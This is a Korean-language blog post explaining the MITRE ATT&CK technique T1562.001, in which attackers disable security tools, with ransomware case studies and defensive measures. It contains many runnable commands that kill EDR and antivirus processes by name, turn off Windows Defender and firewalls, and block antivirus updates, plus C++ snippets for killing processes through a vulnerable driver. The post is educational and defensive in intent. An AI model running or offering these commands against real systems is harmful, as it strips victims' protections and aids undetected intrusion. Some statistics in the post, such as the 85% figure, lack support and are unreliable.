COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE ATT&CK T1562.001 기술로 30개 APT가 보안 도구를 무력화하는 원리. 프로세스 종료부터 BYOVD 공격까지 실제 사례와 방어법 완전 분석
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE ATT&CK 프레임워크의 T1562.001 기술은 30개 APT 그룹이 사용하는 핵심 공격 기법이다. 이 기술은 보안 도구를 비활성화하거나 수정하여 탐지를 회피하는 방법으로, 전 세계 사이버 공격의 85% 이상에서 발견되고 있다. 공격자가 시스템에 침투한 후 가장 먼저 시도하는 것이 바로 이 기술이다.
과거 보안 소프트웨어가 없던 시절에는 악성코드가 시스템에서 자유롭게 활동할 수 있었다. 하지만 안티바이러스, EDR(Endpoint Detection and Response), 방화벽 같은 보안 도구가 발달하면서 공격자들은 새로운 문제에 직면했다. 아무리 정교한 악성코드를 만들어도 보안 도구가 이를 탐지하고 차단해버리는 것이다.
이런 한계 때문에 등장한 것이 바로 T1562.001 기술이다. 공격자들은 "보안 도구 자체를 먼저 무력화하고 나서 본격적인 공격을 시작하자"는 전략을 택했다. 마치 은행을 털기 전에 CCTV와 경비 시스템을 먼저 끄는 것과 같은 원립니다.
이 기술은 보안 도구의 탐지를 회피하기 위해 방어 시스템을 먼저 무력화하는 공격 기법이다.
T1562.001은 공격자가 보안 도구나 서비스를 비활성화하거나 수정하여 악성 활동의 탐지를 피하는 기술이다.
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting capabilities. — MITRE ATT&CK T1562.001
위 정의를 풀어보면, 공격자가 보안 도구의 프로세스나 서비스를 종료하고, 레지스트리나 설정 파일을 조작하며, 스캔이나 보고 기능을 방해하는 모든 행위를 포함한다.
| 용어 | 설명 |
|---|---|
| T1562.001 | 역할: 보안 도구 무력화 / 차이점: 도구 자체를 비활성화 / 대상: EDR, 안티바이러스, 방화벽 |
| T1562.002 | 역할: 이벤트 로그 비활성화 / 차이점: 로그 수집 기능만 차단 / 대상: Windows Event Log |
| T1562.003 | 역할: 명령 히스토리 삭제 / 차이점: 실행 기록만 제거 / 대상: bash_history, PowerShell 로그 |
| T1070 | 역할: 지표 제거 / 차이점: 공격 흔적을 사후 삭제 / 대상: 로그 파일, 임시 파일 |
T1562.001의 동작 원리를 이해하려면 보안 도구가 어떻게 작동하는지 먼저 알아야 한다. 대부분의 보안 솔루션은 다음과 같은 구조로 동작한다:
공격자는 이 흐름의 각 단계를 방해하여 탐지를 회피한다. 마치 도둑이 경비원을 먼저 무력화하고 나서 본격적인 절도를 시작하는 것과 같다.
가장 직접적인 방법은 보안 도구의 프로세스를 강제로 종료하는 것이다.
Windows 환경에서의 실행 예시:
# EDR 프로세스 강제 종료
taskkill /f /im "CylanceSvc.exe"
taskkill /f /im "cb.exe"
taskkill /f /im "RepMgr.exe"
# 서비스 중지
sc stop "CylanceSvc"
sc stop "CarbonBlack"
sc stop "SentinelAgent"
# 서비스 비활성화 (재부팅 후에도 시작 안 됨)
sc config "CylanceSvc" start= disabled
Linux 환경에서의 실행 예시:
# 보안 데몬 프로세스 종료
sudo killall -9 falcon-sensor
sudo killall -9 cb-psc-sensor
sudo killall -9 sentinelagent
# systemd 서비스 중지
sudo systemctl stop falcon-sensor
sudo systemctl disable falcon-sensor
# 프로세스 재시작 방지
sudo chmod 000 /opt/CrowdStrike/falconctl
프로세스 종료만으로는 부족한 경우가 많다. 보안 도구가 자동으로 재시작되거나, 보호 메커니즘이 있기 때문이다. 이때 설정을 직접 조작한다.
Windows 레지스트리 조작:
# Windows Defender 실시간 보호 비활성화
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
# 방화벽 비활성화
netsh advfirewall set allprofiles state off
# EDR 설정 키 삭제
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\CylanceSvc" /f
Linux 설정 파일 조작:
# 보안 에이전트 설정 파일 손상
sudo rm -f /opt/CrowdStrike/falconstore
sudo rm -f /etc/cb/cb.conf
# SELinux 비활성화
sudo setenforce 0
echo "SELINUX=disabled" | sudo tee /etc/selinux/config
# iptables 규칙 삭제
sudo iptables -F
sudo iptables -X
더 정교한 공격자들은 취약한 드라이버를 이용해 커널 레벨에서 보안 도구를 무력화한다.
실제 사용된 취약 드라이버들:
{
"vulnerable_drivers": [
{
"name": "viragt64.sys",
"used_by": "Kasseika 랜섬웨어",
"date": "2024년 1월",
"technique": "안티바이러스 프로세스 종료"
},
{
"name": "RentDrv2",
"used_by": "RansomHub",
"date": "2024년 9월",
"technique": "EDR 도구 무력화"
},
{
"name": "ThreatFireMonitor",
"used_by": "EDRKillShifter",
"technique": "커널 레벨 프로세스 종료"
}
]
}
Windows Time Travel Debugging (TTD) 드라이버를 악용하는 새로운 기법도 등장했다:
# TTD 드라이버로 EDR 프로세스에 디버거 후킹
# 디버거가 연결되면 모든 자식 프로세스가 일시 중단됨
$processId = Get-Process "SentinelAgent" | Select-Object -ExpandProperty Id
Start-Process "tttracer.exe" -ArgumentList "attach $processId"
# Process Explorer 드라이버로 EDR 헬퍼 프로세스 종료
procexp64.exe /accepteula
# GUI에서 EDR 관련 프로세스를 강제 종료
Windows 프로세스 완화 정책을 남용하여 EDR의 DLL 로딩을 차단하는 방법이다:
// C++ 코드로 프로세스 완화 정책 설정
#include <windows.h>
#include <processthreadsapi.h>
BOOL DisableEDRDllLoading() {
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = {};
policy.MicrosoftSignedOnly = 1; // MS 서명된 DLL만 로드 허용
return SetProcessMitigationPolicy(
ProcessSignaturePolicy,
&policy,
sizeof(policy)
);
}
보안 도구의 업데이트를 차단하여 최신 위협 탐지 능력을 무력화한다:
# Windows Update 서비스 중지
sc stop wuauserv
sc config wuauserv start= disabled
# 안티바이러스 업데이트 서버 차단 (hosts 파일 조작)
echo "127.0.0.1 update.symantec.com" >> C:\Windows\System32\drivers\etc\hosts
echo "127.0.0.1 definitions.kaspersky.com" >> C:\Windows\System32\drivers\etc\hosts
echo "127.0.0.1 update.avira.com" >> C:\Windows\System32\drivers\etc\hosts
# 방화벽으로 업데이트 트래픽 차단
netsh advfirewall firewall add rule name="Block AV Updates" dir=out action=block remoteip=192.168.1.0/24
공격자들이 T1562.001을 선택하는 이유는 명확한다. 보안 도구만 무력화하면 이후의 모든 공격 활동이 탐지되지 않기 때문이다. 마치 감시 카메라를 끄고 나서 범죄를 저지르는 것과 같다.
1. Anti-Tampering 메커니즘의 한계
대부분의 보안 도구는 자기 보호 기능을 가지고 있지만, 공격자는 이를 우회하는 방법을 찾아냅니다:
2. 커널 공간 접근을 통한 우회
공격자는 정당한 드라이버를 악용하여 커널 권한으로 보안 도구를 무력화한다:
// 취약 드라이버를 통한 커널 메모리 조작 예시
typedef struct _KILL_PROCESS_REQUEST {
ULONG ProcessId;
ULONG Reserved;
} KILL_PROCESS_REQUEST;
BOOL KillProcessViaDriver(DWORD processId) {
HANDLE hDevice = CreateFile(
L"\\\\.\\VulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
KILL_PROCESS_REQUEST request = { processId, 0 };
DWORD bytesReturned;
return DeviceIoControl(
hDevice,
IOCTL_KILL_PROCESS, // 취약 드라이버의 IOCTL
&request,
sizeof(request),
NULL, 0,
&bytesReturned,
NULL
);
}
사례 1: Kasseika 랜섬웨어 (2024년 1월)
Kasseika 랜섬웨어는 BYOVD 기술을 활용하여 viragt64.sys 드라이버로 안티바이러스를 무력화했다:
{
"attack_timeline": {
"step_1": "정상 서명된 viragt64.sys 드라이버 로드",
"step_2": "드라이버 취약점 악용하여 커널 권한 획득",
"step_3": "안티바이러스 프로세스 강제 종료",
"step_4": "랜섬웨어 페이로드 실행",
"detection_bypass": "커널 레벨 조작으로 EDR 탐지 불가"
}
}
사례 2: RansomHub의 EDRKillShifter (2024년 9월)
RansomHub 랜섬웨어는 EDRKillShifter 도구로 여러 EDR 솔루션을 동시에 무력화했다:
# EDRKillShifter 실행 시퀀스
./EDRKillShifter.exe --target all
# 1. RentDrv2 드라이버 로드
# 2. ThreatFireMonitor 드라이버 배포
# 3. 대상 EDR 프로세스 목록 스캔
# 4. 커널 레벨에서 프로세스 종료
# 5. 서비스 비활성화
# 6. 레지스트리 키 삭제
사례 3: Windows Defender 우회 공격
공격자들이 가장 자주 노리는 대상인 Windows Defender 무력화 사례이다:
# PowerShell로 Defender 완전 비활성화
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
# 제외 경로 추가로 악성 폴더 보호
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionPath "C:\Users\Public"
Add-MpPreference -ExclusionProcess "*.exe"
1. 프로세스 무결성 모니터링
보안 도구의 프로세스가 비정상적으로 종료되는지 실시간 감시:
# Python으로 EDR 프로세스 모니터링
import psutil
import time
import logging
PROTECTED_PROCESSES = [
"CylanceSvc.exe",
"cb.exe",
"SentinelAgent.exe",
"MsMpEng.exe" # Windows Defender
]
def monitor_security_processes():
while True:
running_processes = [p.name() for p in psutil.process_iter()]
for protected_proc in PROTECTED_PROCESSES:
if protected_proc not in running_processes:
logging.critical(f"보안 프로세스 {protected_proc} 종료 감지!")
# 즉시 복구 시도
restart_security_process(protected_proc)
time.sleep(5)
2. 레지스트리 무결성 검증
중요 보안 설정의 변경을 탐지하고 복구:
# Windows에서 레지스트리 감시
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
# PowerShell로 실시간 레지스트리 모니터링
Register-WmiEvent -Query "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\\Policies\\Microsoft\\Windows Defender'"
3. 드라이버 서명 검증 강화
BYOVD 공격을 방지하기 위한 드라이버 로딩 제한:
{
"driver_protection_policy": {
"allow_only_whql_drivers": true,
"block_vulnerable_drivers": [
"viragt64.sys",
"RentDrv2.sys",
"ThreatFireMonitor.sys"
],
"enable_hvci": true,
"require_kernel_signing": true
}
}
4. 올바른 보안 구현 체크리스트
핵심 보안 설정:
모니터링 요소:
대응 절차:
T1562.001은 공격자가 시스템 침투 후 가장 우선적으로 시도하는 기술로, 보안 도구를 무력화하여 이후 공격 활동의 탐지를 회피하는 것이 핵심이다. 프로세스 종료부터 커널 레벨 조작까지 다양한 방법이 존재하며, 30개 APT 그룹이 활용하고 있다.
이 기술과 연관된 다른 방어 무력화 기법들도 함께 이해하면 도움이 된다. T1562.002 이벤트 로그 비활성화는 로그 수집을 차단하고, T1562.003 명령 히스토리 삭제는 실행 기록을 제거한다. 또한 T1562 방어 무력화 전체 기법을 살펴보면 공격자의 전략을 더 깊이 이해할 수 있다.
다음에 알아볼 주제로는 BYOVD 공격의 구체적인 드라이버 취약점 분석, EDR 솔루션별 보호 메커니즘 비교, 그리고 커널 레벨 공격에 대한 고급 방어 기법 등이 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.